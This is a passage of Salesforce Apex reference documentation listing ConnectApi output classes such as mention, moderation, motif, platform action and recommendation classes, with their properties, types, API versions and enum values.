parent
32.0Information about the topic.ConnectApi.Topictopic
32.0Chatter REST API URL to the managed topic.Stringurl
SEE ALSO:
ConnectApi.ManagedTopicCollection Class
ConnectApi.ManagedTopicCollection Class
A collection of managed topics.
Available VersionDescriptionTypeProperty Name
32.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
32.0List of managed topics.List<ConnectApi.
ManagedTopic>
managedTopics
ConnectApi.MarkupBeginSegment
The beginning of rich text markup.
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeProperty Name
35.0The HTML tag for this markup.StringhtmlTag
35.0Specifies the type of rich text markup.ConnectApi.
MarkupType
markupType
•Bold—Bold tag.
•Code—Code tag.
•Italic—Italic tag.
•ListItem—List item tag.
•OrderedList—Ordered list tag.
•Paragraph—Paragraph tag.
•Strikethrough—Strikethrough tag.
1584
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
•Underline—Underline tag.
•UnorderedList—Unordered list tag.
ConnectApi.MarkupEndSegment
The end of rich text markup.
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeProperty Name
35.0The HTML tag for this markup.StringhtmlTag
35.0Specifies the type of rich text markup.ConnectApi.
MarkupType
markupType
•Bold—Bold tag.
•Code—Code tag.
•Italic—Italic tag.
•ListItem—List item tag.
•OrderedList—Ordered list tag.
•Paragraph—Paragraph tag.
•Strikethrough—Strikethrough tag.
•Underline—Underline tag.
•UnorderedList—Unordered list tag.
ConnectApi.MentionCompletion Class
Information about a record that could be used to @mention a user or group.
Available VersionDescriptionTypeName
29.0An additional label (if one exists) for the record represented by this
completion, for example, “(Customer)” or “(Acme Corporation)”.
StringadditionalLabel
29.0A description of the record represented by this completion.Stringdescription
29.0The name of the record represented by this completion. The name
is localized, if possible.
Stringname
29.0A URL to the photo or icon of the record represented by this
completion.
StringphotoUrl
29.0The ID of the record represented by this completion.StringrecordId
1585
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
30.0If the record represented by this completion is a user, this value is
the user type associated with that user; otherwise the value is null.
One of these values:
ConnectApi.
UserType
Enum
userType
•ChatterGuest—User is an external user in a private group.
•ChatterOnly—User is a Chatter Free customer.
•Guest—User is unauthenticated.
•Internal—User is a standard organization member.
•Portal—User is an external user in a customer portal, partner
portal, or community.
•System—User is Chatter Expert or a system user.
•Undefined—User is a user type that is a custom object.
SEE ALSO:
ConnectApi.MentionCompletionPage Class
ConnectApi.MentionCompletionPage Class
A paginated list of Mention Completion response bodies.
Available
Version
DescriptionTypeName
29.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
29.0A list of mention completion proposals. Use these proposals
to build a feed post body.
List<ConnectApi.
MentionCompletion>
mentionCompletions
29.0Chatter REST API URL identifying the next page or null
if there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
29.0Chatter REST API URL identifying the previous page or
null if there isn’t a previous page.
StringpreviousPageUrl
ConnectApi.MentionSegment Class
Subclass of ConnectApi.MessageSegment Class
1586
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0Specifies whether the mentioned user or group can see
the post in which they are mentioned (true) or not
(false).
Booleanaccessible
28.0Name of the mentioned user or groupStringname
29.0Information about the mentioned user or groupConnectApi.
ActorWithId
record
28.0 only
In versions before
29.0, if the mention
Information about the mentioned userConnectApi.User
Summary
user
Important: In versions 29.0 and later, use the
record property. is not a user, the
mention is in a
ConnectApi.TextSegment
object.
ConnectApi.MentionValidation Class
Information about whether a proposed mention is valid for the context user.
Available VersionDescriptionTypeName
29.0The ID of the mentioned record.StringrecordId
29.0Specifies the type of validation error for a proposed
mention, if any.
ConnectApi.
MentionValidation
Status Enum
validationStatus
•Disallowed—The proposed mention is invalid
and is rejected because the context user is trying
to mention something that is not allowed. For
example, a user who is not a member of a private
group is trying to mention the private group.
•Inaccessible—The proposed mention is
allowed but the user or record being mentioned
isn’t notified because they don't have access to
the parent record being discussed.
•Ok—There is no validation error for this proposed
mention.
SEE ALSO:
ConnectApi.MentionValidations Class
ConnectApi.MentionValidations Class
Information about whether a set of mentions is valid for the context user.
1587
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
29.0Indicates whether at least one of the proposed
mentions has an error (true), or not (false). For
BooleanhasErrors
example, context users can’t mention private groups
they don’t belong to. If such a group is included in
the list of mention validations, hasErrors is
true and the group has a validationStatus
of Disallowed in its mention validation.
29.0A list of mention validation information in the same
order as the provided record IDs.
List<ConnectApi.
MentionValidation>
mentionValidations
ConnectApi.MessageBody Class
Subclass of ConnectApi.AbstractMessageBody Class
No additional properties.
SEE ALSO:
ConnectApi.ChatterLikesCapability Class
ConnectApi.ChatterMessage Class
ConnectApi.Comment Class
ConnectApi.FeedElement Class
ConnectApi.FeedItemSummary
ConnectApi.MessageSegment Class
This class is abstract.
Superclass of:
•ConnectApi.ComplexSegment Class
•ConnectApi.EntityLinkSegment Class
•ConnectApi.FieldChangeSegment Class
•ConnectApi.FieldChangeNameSegment Class
•ConnectApi.FieldChangeValueSegment Class
•ConnectApi.HashtagSegment Class
•ConnectApi.InlineImageSegment
•ConnectApi.LinkSegment Class
•ConnectApi.MarkupBeginSegment
•ConnectApi.MarkupEndSegment
•ConnectApi.MentionSegment Class
•ConnectApi.MoreChangesSegment Class
•ConnectApi.ResourceLinkSegment Class
•ConnectApi.TextSegment Class
1588
ConnectApi Output ClassesReference
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
Available VersionDescriptionTypeName
28.0Text-only rendition of this segment. If a client encounters an
unknown message segment type, it can render this value.
Stringtext
28.0The message segment type. One of these values:ConnectApi.
MessageSegment
Type Enum
type
•EntityLink
•FieldChange
•FieldChangeName
•FieldChangeValue
•Hashtag
•InlineImage
•Link
•MarkupBegin
•MarkupEnd
•Mention
•MoreChanges
•ResourceLink
•Text
SEE ALSO:
ConnectApi.AbstractMessageBody Class
ConnectApi.ModerationCapability Class
If a feed element has this capability, users in a community can flag it for moderation.
Subclass of ConnectApi.FeedElementCapability Class.
1589
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
31.0The moderation flags for this feed element.
Community moderators can view and take action on
flagged items.
ConnectApi.
ModerationFlags
moderationFlags
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.ModerationFlags Class
Information about the moderation flags on a feed item, comment, or file.
Available VersionDescriptionTypeName
29.0The number of moderation flags on this feed item, comment, or
file. If the context user is not a community moderator, the property
is null.
IntegerflagCount
29.0true if the context user had flagged the feed item, comment, or
file for moderation; false otherwise.
BooleanflaggedByMe
SEE ALSO:
ConnectApi.Comment Class
ConnectApi.File Class
ConnectApi.ModerationCapability Class
ConnectApi.MoreChangesSegment Class
Subclass of ConnectApi.MessageSegment Class
In feed items with a large number of tracked changes, the message is formatted as: “changed A, B, and made X more changes.” The
MoreChangesSegment contains the “X more changes.”
Available VersionDescriptionTypeName
29.0Complete list of tracked changes.List<ConnectApi.
FieldChange
Segment>
moreChanges
28.0Number of additional changesIntegermoreChangesCount
ConnectApi.Motif Class
The motif properties contain URLs for small, medium, and large icons that indicate the Salesforce record type. Common record types
are files, users, and groups, but all record types have a set of motif icons. Custom object records use their tab style icon. All icons are
available to unauthenticated users so that, for example, you can display the motif icons in an email. The motif can also contain the record
type’s base color.
1590
ConnectApi Output ClassesReference
Note: The motif images are icons, not user uploaded images or photos. For example, every user has the same set of motif icons.
Custom object records use their tab style icon, for example, the following custom object uses the “boat” tab style:
"motif": {
"color: "8C004C",
"largeIconUrl": "/img/icon/custom51_100/boat64.png",
"mediumIconUrl": "/img/icon/custom51_100/boat32.png",
"smallIconUrl": "/img/icon/custom51_100/boat16.png",
"svgIconUrl": null
},
Users use the following icons:
"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/profile64.png",
"mediumIconUrl": "/img/icon/profile32.png",
"smallIconUrl": "/img/icon/profile16.png",
"svgIconUrl": null
},
Groups use the following icons:
"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/groups64.png",
"mediumIconUrl": "/img/icon/groups32.png",
"smallIconUrl": "/img/icon/groups16.png",
"svgIconUrl": null
},
Files use the following icons:
"motif": {
"color: "1797C0",
"largeIconUrl": "/img/content/content64.png",
"mediumIconUrl": "/img/content/content32.png",
"smallIconUrl": "/img/icon/files16.png",
"svgIconUrl": null
},
Note: To view the icons in the previous examples, preface the URL with https://instance_name. For example,
https://instance_name/img/icon/profile64.png.
Available
Version
DescriptionTypeName
29.0A hex value representing the base color of the record type, or null.Stringcolor
28.0A large icon indicating the record type.StringlargeIconUrl
28.0A medium icon indicating the record type.StringmediumIconUrl
28.0A small icon indicating the record type.StringsmallIconUrl
1591
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
34.0An icon in SVG format indicating the record type, or null if the icon
doesn’t exist.
StringsvgIconUrl
ConnectApi.MuteCapability
If a feed element has this capability, users can mute it. Muted feed elements are visible in the muted feed, and invisible in all other feeds
that respect mute.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
35.0Indicates whether the context user muted the feed
element.
BooleanisMutedByMe
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.NewUserAudienceCriteria
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.
Available VersionDescriptionTypeProperty Name
36.0The maximum number of days since a user became
a community member.
DoublemaxDaysInCommunity
ConnectApi.NonEntityRecommendation Class
Represents a recommendation for a non-Salesforce entity, such as an application.
Subclass of ConnectApi.AbstractRecommendation Class.
ConnectApi.NonEntityRecommendation Class isn’t used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.
Available VersionDescriptionTypeProperty Name
32.0Localized label of the non-entity object.StringdisplayLabel
32.0Motif for the non-entity object.ConnectApi.Motifmotif
1592
ConnectApi Output ClassesReference
ConnectApi.OauthProviderInfo
Available VersionDescriptionTypeName
37.0The URL used for authorization.StringauthorizationUrl
37.0The name of the OAuth service provider.Stringname
SEE ALSO:
ConnectApi.UserOauthInfo
ConnectApi.OrganizationSettings Class
Available
Version
DescriptionTypeName
28.0Amount of time after which the system prompts users
who have been inactive to log out or continue working
IntegeraccessTimeout
28.0Information about features available in the organizationConnectApi.Featuresfeatures
34.0Information about a list of upcoming scheduled
maintenances for the organization.
List<ConnectApi.
MaintenanceInfo>
maintenanceInfo
28.0Organization nameStringname
28.018-character ID for the organizationStringorgId
28.0Information about the organization permissions for the
user
ConnectApi.UserSettingsuserSettings
ConnectApi.OriginCapability
If a feed element has this capability, it was created by a feed action.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
33.0The user who executed the feed action.ConnectApi.User
Summary Class
actor
33.0A reference to the feed element containing the feed
action.
ConnectApi.Reference
Class
originRecord
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
1593
ConnectApi Output ClassesReference
ConnectApi.PercentRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a percentage value.
Available VersionDescriptionTypeName
29.0The value of the percentage.Doublevalue
ConnectApi.PhoneNumber Class
A phone number.
Available VersionDescriptionTypeName
30.0A localized string indicating the phone typeStringlabel
28.0Phone numberStringphoneNumber
30.0Phone type. Values are:StringphoneType
•Fax
•Mobile
•Work
These values are not localized.
28.0–29.0Stringtype Note: This property is not available after version 29.0. Use
the phoneType property instead.
Values are:
•Fax
•Mobile
•Work
These values are not localized.
SEE ALSO:
ConnectApi.DatacloudCompany Class
ConnectApi.DatacloudContact
ConnectApi.UserDetail Class
ConnectApi.Photo Class
Available VersionDescriptionTypeName
28.0A temporary URL to the large profile picture. The URL expires after
30 days and is available to unauthenticated users.
StringfullEmailPhotoUrl
1594
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0URL to the large profile picture. The default width is 200 pixels, and
the height is scaled so the original image proportions are
maintained.
StringlargePhotoUrl
37.0URL to the medium profile picture. The default width is 160 pixels,
and the height is scaled so the original image proportions are
maintained.
StringmediumPhotoUrl
28.018–character ID to that version of the photoStringphotoVersionId
28.0URL to the small profile picture. The default size is 64x64 pixels.StringsmallPhotoUrl
28.0A temporary URL to the small profile. The URL expires after 30 days
and is available to unauthenticated users.
StringstandardEmail
PhotoUrl
28.0A resource that returns a Photo object: for example,
/services/data/v39.0/chatter/users/005D0000001LL8OIAW/photo.
Stringurl
SEE ALSO:
ConnectApi.ChatterGroup Class
ConnectApi.RecommendationDefinition
ConnectApi.User Class
ConnectApi.PicklistRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing an enumerated value.
ConnectApi.PlatformAction Class
A platform action instance with state information for the context user.
Available VersionDescriptionTypeProperty Name
33.0For action links of subtype Ui or Download,
direct the user to download or visit the UI from this
StringactionUrl
link. Salesforce issues a Javascript redirect for the link
in this format:
/action-link-redirect/communityId
/actionLinkId?_bearer=bearerToken.
For Api action links and for all platform actions, this
value is null and Salesforce handles the call.
33.0The API name. The value may be null.StringapiName
33.0If this action requires a confirmation and has a status
of NewStatus, this is a default localized message
Stringconfirmation
Message
1595
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
that should be shown to an end user prior to invoking
the action. Otherwise, this is null.
33.0The user who initiated execution of this platform
action.
ConnectApi.User
Summary Class
executingUser
33.0true if this platform action is the default or primary
platform action in the platform action group; false
BooleangroupDefault
otherwise. There can be only one default platform
action per platform action group.
33.0The URL of the icon for the platform action. This value
may be null.
StringiconUrl
33.0The ID for the platform action.
If the type is QuickAction and the subtype
is Create, this value is null.
Stringid
33.0The localized label for this platform action.Stringlabel
33.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
33.0A reference to the platform action group containing
this platform action.
ConnectApi.
Reference Class
platformAction
Group
33.0The execution status of the platform action. Values
are:
ConnectApi.
PlatformAction
Status
status
•FailedStatus—The action link execution
failed.
•NewStatus—The action link is ready to be
executed. Available for Download and Ui
action links only.
•PendingStatus—The action link is
executing. Choosing this value triggers the API
call for Api and ApiAsync action links.
•SuccessfulStatus—The action link
executed successfully.
33.0The subtype of a platform action or null.
If the type property is ActionLink, possible
values are:
Stringsubtype
•Api—The action link calls a synchronous API at
the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
based on the HTTP status code returned by your
server.
1596
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
•ApiAsync—The action link calls an
asynchronous API at the action URL. The action
remains in a PendingStatus state until a
third party makes a request to
/connect/action-links/actionLinkId
to set the status to SuccessfulStatus or
FailedStatus when the asynchronous
operation is complete.
•Download—The action link downloads a file
from the action URL.
•Ui—The action link takes the user to a Web
page at the action URL.
Note: Invoking ApiAsync action links from
an app requires a call to set the status.
However, there isn’t currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
33.0The type of platform action. Values are:ConnectApi.
PlatformActionType
type
•ActionLink—An indicator on a feed element
that targets an API, a web page, or a file,
represented by a button in the Salesforce Chatter
feed UI.
•CustomButton—When clicked, opens a URL
or a Visualforce page in a window or executes
JavaScript.
•InvocableAction
•ProductivityAction—Productivity
actions are predefined by Salesforce and are
attached to a limited set of objects. You can’t edit
or delete productivity actions.
•QuickAction—A global or object-specific
action.
•StandardButton—A predefined Salesforce
button such as New, Edit, and Delete.
1597
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0The URL for this platform action.
If the type is QuickAction and the subtype
is Create, this value is null.
Stringurl
SEE ALSO:
ConnectApi.PlatformActionGroup Class
ConnectApi.PlatformActionGroup Class
A platform action group instance with state appropriate for the context user.
Action link groups are one type of platform action group and are therefore represented as ConnectApi.PlatformActionGroup
output classes.
Available VersionDescriptionTypeProperty Name
33.0Indicates the priority and relative locations of platform
actions. Values are:
ConnectApi.
PlatformAction
GroupCategory
category
•Primary—The action link group is displayed
in the body of the feed element.
•Overflow—The action link group is displayed
in the overflow menu of the feed element.
33.0The 18-character ID or an opaque string ID of the
platform action group.
If the ConnectApi.PlatformAction type
is QuickAction and the subtype is Create,
this value is null.
Stringid
33.0ISO 8601 date string, for example,
2014-02-25T18:24:31.000Z.
DatetimemodifiedDate
33.0The platform action instances for this group.
Within an action link group, action links are displayed
in the order listed in the actionLinks property
List<ConnectApi.
PlatformAction>
platformActions
of the ConnectApi.ActionLinkGroup
DefinitionInput class. Within a feed item,
action link groups are displayed in the order specified
in the actionLinkGroupIds property of the
ConnectApi.AssociatedActions
CapabilityInput class.
1598
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0The URL for this platform action group.
If the ConnectApi.PlatformAction type
is QuickAction and the subtype is Create,
this value is null.
Stringurl
SEE ALSO:
ConnectApi.AbstractRecommendation Class
ConnectApi.AssociatedActionsCapability Class
ConnectApi.PollCapability Class
If a feed element has this capability, it includes a poll.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Collection of poll choices that make up the poll.List<ConnectApi.
FeedPollChoice>
choices
32.018-character ID of the poll choice that the context
user has voted for in this poll. Returns null if the
context user has not voted.
StringmyChoiceId
32.0Total number of votes cast on the feed poll element.IntegertotalVoteCount
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.QuestionAndAnswersCapability Class
If a feed element has this capability, it has a question and comments on the feed element are answers to the question.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Comment selected as the best answer for the
question.
ConnectApi.
Comment
bestAnswer
32.0User who selected the best answer for the question.ConnectApi.
UserSummary
bestAnswer
SelectedBy
32.0Indicates whether the context user can select or
remove a best answer (true) or not (false).
BooleancanCurrentUser
SelectOrRemove
BestAnswer
1599
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0If a question post is escalated, this is the case to which
it was escalated.
ConnectApi.
Reference
escalatedCase
32.0Title for the question.StringquestionTitle
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.QuestionAndAnswersSuggestions Class
Question and answers suggestions.
Available VersionDescriptionTypeProperty Name
32.0List of articles.List<ConnectApi.
ArticleItem>
articles
32.0List of questions.List<ConnectApi.
FeedElement>
questions
ConnectApi.RecommendationAudience
A recommendation audience.
Available VersionDescriptionTypeProperty Name
36.0The criteria for the recommendation audience type.ConnectApi.
AudienceCriteria
criteria
35.018-character ID of the recommendation audience.Stringid
35.0 onlyIntegermemberCount Important: This property is available only in
version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.
Number of members in the recommendation
audience.
35.0 onlyConnectApi.
UserReferencePage
members Important: This property is available only in
version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.
Members of the recommendation audience.
36.0User who last modified the recommendation
audience.
ConnectApi.UsermodifiedBy
1600
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
35.0Name of the recommendation audience.Stringname
35.0URL for the recommendation audience.Stringurl
SEE ALSO:
ConnectApi.RecommendationAudiencePage
ConnectApi.RecommendationAudiencePage
A list of recommendation audiences.
Available VersionDescriptionTypeProperty Name
35.0The total number of recommendation audiences.IntegeraudienceCount
35.0URL to the current page.StringcurrentPageUrl
35.0URL to the next page.StringnextPageUrl
35.0URL to the previous page.StringpreviousPageUrl
35.0A list of recommendation audiences.List<ConnectApi.
Recommendation
Audience>
recommendation
Audiences
ConnectApi.RecommendationsCapability
If a feed element has this capability, it has a recommendation.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0A list of recommendations.List<ConnectApi.
Abstract
Recommendation>
items
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.RecommendationCollection Class
A list of recommendations.
1601
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0Collection of recommendations.List<ConnectApi.
Abstract
Recommendation>
recommendations
ConnectApi.RecommendationDefinition
Represents a custom recommendation definition.
Available VersionDescriptionTypeProperty Name
35.0The URL for acting on this recommendation.StringactionUrl
35.0The text label for the action URL in the user interface.StringactionUrlName
35.0Explanation of the recommendation definition.Stringexplanation
35.018-character ID of the recommendation definition.Stringid
35.0Name of the recommendation definition. The name
is displayed in Setup.
Stringname
35.0Photo of the recommendation definition.ConnectApi.Photophoto
35.0Title of the recommendation definition.Stringtitle
35.0URL to the Chatter REST API resource for the
recommendation definition.
Stringurl
SEE ALSO:
ConnectApi.RecommendationDefinitionPage
ConnectApi.ScheduledRecommendation
ConnectApi.RecommendationDefinitionPage
Represents a list of recommendation definitions.
Available VersionDescriptionTypeProperty Name
35.0A list of recommendation definitions.List<ConnectApi.
Recommendation
Definition>
recommendation
Definitions
35.0URL to the Chatter REST API resource for the
recommendation definition collection.
Stringurl
ConnectApi.RecommendationExplanation Class
Explanation for a recommendation.
1602
ConnectApi Output ClassesReference
Subclass of ConnectApi.AbstractRecommendationExplanation Class.
Available VersionDescriptionTypeProperty Name
32.0URL to explanation details or null if the
recommendation doesn’t have a detailed explanation.
StringdetailsUrl
SEE ALSO:
ConnectApi.AbstractRecommendation Class
ConnectApi.RecommendedObject
A recommended object, such as a custom or static recommendation.
Subclass of ConnectApi.Actor Class
Available VersionDescriptionTypeProperty Name
34.0ID of a recommendation definition for a custom
recommendation or the enum value Today for
StringidOrEnum
static recommendations that don’t have an ID
(version 35.0 and later).
34.0Motif of the recommended object.ConnectApi.Motifmotif
ConnectApi.RecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A generic record field containing a label and text value.
SEE ALSO:
ConnectApi.CompoundRecordField Class
ConnectApi.RecordSnapshotAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.RecordSnapshotCapability is
used.
Subclass of ConnectApi.FeedItemAttachment Class
The fields of a record at the point in time when the record was created.
Available
Version
DescriptionTypeName
29.0–31.0The representation of the record.ConnectApi.
RecordView
recordView
1603
ConnectApi Output ClassesReference
ConnectApi.RecordSnapshotCapability
If a feed element has this capability, it contains all the snapshotted fields of a record for a single create record event.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0A record representation that includes metadata and
data so you can display the record easily.
ConnectApi.
RecordView
recordView
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.RecordSummary Class
Subclass of ConnectApi.AbstractRecordView Class
No additional properties.
SEE ALSO:
ConnectApi.EmailAddress
ConnectApi.EmailAttachment
ConnectApi.ReferenceRecordField Class
ConnectApi.ReferenceWithDateRecordField Class
ConnectApi.RecordSummaryList Class
Summary information about a list of records in the organization including custom objects.
Available
Version
DescriptionTypeName
30.0A list of records.List<ConnectApi.ActorWithId>records
30.0The URL to this list of records.Stringurl
ConnectApi.RecordView Class
Subclass of ConnectApi.AbstractRecordView Class
A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or
ChatterGroup, is not available for the record type. Contains data and metadata so you can render a record with one response.
1604
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0A list of record view sections.List<ConnectApi.
RecordViewSection>
sections
SEE ALSO:
ConnectApi.RecordSnapshotCapability
ConnectApi.RecordViewSection Class
A section of record fields and values on a record detail.
Available
Version
DescriptionTypeName
29.0The number of columns to use to lay out the fields in a record
section.
IntegercolumnCount
29.0The order of the fields to use in the fields property to lay
out the fields in a record section.
ConnectApi.
RecordColumnOrder
Enum
columnOrder
•LeftRight—Fields are rendered from left to right.
•TopDown—Fields are rendered from the top down.
29.0The fields and values for the record contained in this section.ConnectApi.
Abstract
RecordField
fields
29.0A localized label to display when rendering this section of
fields.
Stringheading
29.0Indicates whether the section can be collapsed to hide all the
fields (true) or not (false).
BooleanisCollapsible
SEE ALSO:
ConnectApi.RecordView Class
ConnectApi.Reference Class
Available VersionDescriptionTypeName
28.0The ID of the record being referenced, which could be an 18-character
ID or some other string identifier.
Stringid
28.0The URL to the resource endpoint.Stringurl
1605
ConnectApi Output ClassesReference
ConnectApi.ReferenceRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field with a label and text value.
Available VersionDescriptionTypeName
29.0The object referenced by the record field.ConnectApi.
RecordSummary
reference
ConnectApi.ReferenceWithDateRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a referenced object that acted at a specific time, for example, “Created By...”.
Available VersionDescriptionTypeName
29.0A time at which the referenced object acted.DatetimedateValue
29.0The object referenced by the record field.ConnectApi.
RecordSummary
reference
ConnectApi.RelatedFeedPost
This class is abstract.
Subclass of: ConnectApi.ActorWithId Class
Superclass of: ConnectApi.RelatedQuestion
Available VersionDescriptionTypeProperty Name
37.0Score of the related feed post that indicates how
closely related it is to the context feed post.
Doublescore
37.0Title of the related feed post.Stringtitle
SEE ALSO:
ConnectApi.RelatedFeedPosts
ConnectApi.RelatedFeedPosts
A collection of related feed posts.
Available VersionDescriptionTypeProperty Name
37.0Collection of related feed posts.List<ConnectApi.
RelatedFeedPost>
relatedFeedPosts
1606
ConnectApi Output ClassesReference
ConnectApi.RelatedQuestion
A related question.
Subclass of: ConnectApi.RelatedFeedPost
Available VersionDescriptionTypeProperty Name
37.0Indicates whether the question has a best answer.BooleanhasBestAnswer
38.0The number of individual views, likes, and comments
on a question.
ConnectApi.
Interactions
Capability
interactions
ConnectApi.RepositoryFileDetail
A detailed description of a repository file.
Subclass of ConnectApi.AbstractRepositoryFile
No additional properties.
ConnectApi.RepositoryFileSummary
A summary of a repository file.
Subclass of ConnectApi.AbstractRepositoryFile
No additional properties.
SEE ALSO:
ConnectApi.RepositoryFolderItem
ConnectApi.RepositoryFolderDetail
A detailed description of a repository folder.
Subclass of ConnectApi.AbstractRepositoryFolder
No additional properties.
ConnectApi.RepositoryFolderItem
A folder item.
Available VersionDescriptionTypeProperty Name
39.0If the folder item is a file, the file summary. If the folder
item is a folder, null.
ConnectApi.
Repository
FileSummary
file
39.0If the folder item is a folder, the folder summary. If
the folder item is a file, null.
ConnectApi.
Repository
FolderSummary
folder
1607
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Specifies the type of item in a folder. Values are:ConnectApi.
FolderItemType
type
•file
•folder
SEE ALSO:
ConnectApi.RepositoryFolderItemsCollection
ConnectApi.RepositoryFolderItemsCollection
A collection of repository folder items.
Available VersionDescriptionTypeProperty Name
39.0URL to the current page.StringcurrentPageUrl
39.0Collection of items in a repository folder.List<ConnectApi.
Repository
FolderItem>
items
39.0URL to the next page.StringnextPageUrl
39.0URL to the previous page.StringpreviousPageUrl
ConnectApi.RepositoryFolderSummary
A summary of a repository folder.
Subclass of ConnectApi.AbstractRepositoryFolder
No additional properties.
SEE ALSO:
ConnectApi.RepositoryFolderItem
ConnectApi.RepositoryGroupSummary
A group summary.
Subclass of ConnectApi.AbstractDirectoryEntrySummary
Available VersionDescriptionTypeProperty Name
39.0Specifies the type of group. Values are:ConnectApi.
ContentHub
GroupType
groupType
•Everybody—Group is public to everybody.
•EverybodyInDomain—Group is public to
everybody in the same domain.
•Unknown—Group type is unknown.
1608
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Name of the group.Stringname
SEE ALSO:
ConnectApi.ExternalFilePermissionInformation
ConnectApi.RepositoryUserSummary
A user summary.
Subclass of ConnectApi.AbstractDirectoryEntrySummary
Available VersionDescriptionTypeProperty Name
39.0First name of the user.StringfirstName
39.0Last name of the user.StringlastName
ConnectApi.Reputation Class
Reputation for a user.
Available VersionDescriptionTypeProperty Name
32.0User’s reputation level.ConnectApi.
ReputationLevel
reputationLevel
32.0User's reputation points, which can be earned by
performing different activities in the community.
DoublereputationPoints
32.0A Chatter REST API URL to the reputation.Stringurl
SEE ALSO:
ConnectApi.User Class
ConnectApi.ReputationLevel Class
Reputation level for a user.
Available VersionDescriptionTypeProperty Name
32.0URL to the reputation level image.StringlevelImageUrl
32.0Name of the reputation level.StringlevelName
1609
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0Reputation level number, which is the numerical rank
of the level, with the lowest level at 1. Administrators
define the reputation level point ranges.
IntegerlevelNumber
SEE ALSO:
ConnectApi.Reputation Class
ConnectApi.RequestHeader Class
An HTTP request header name and value pair.
Available VersionDescriptionTypeProperty Name
33.0The name of the request header.Stringname
33.0The value of the request header.Stringvalue
SEE ALSO:
ConnectApi.ActionLinkDefinition Class
ConnectApi.ResourceLinkSegment Class
Available VersionDescriptionTypeName
28.0URL to a resource not otherwise identified by an ID field, for example,
a link to a list of users.
Stringurl
ConnectApi.ScheduledRecommendation
Represents a scheduled recommendation.
Available VersionDescriptionTypeProperty Name
36.0Specifies a way to tie recommendations together, for
example, to display recommendations in specific
ConnectApi.
Recommendation
Channel
channel
places in the UI or to show recommendations based
on time of day or geographic locations. Values are:
•CustomChannel1—Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels. For example, community
managers can use Community Builder to
determine where recommendations appear.
1610
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
•CustomChannel2—Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
•CustomChannel3—Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
•CustomChannel4—Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
•CustomChannel5—Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
•DefaultChannel—Default
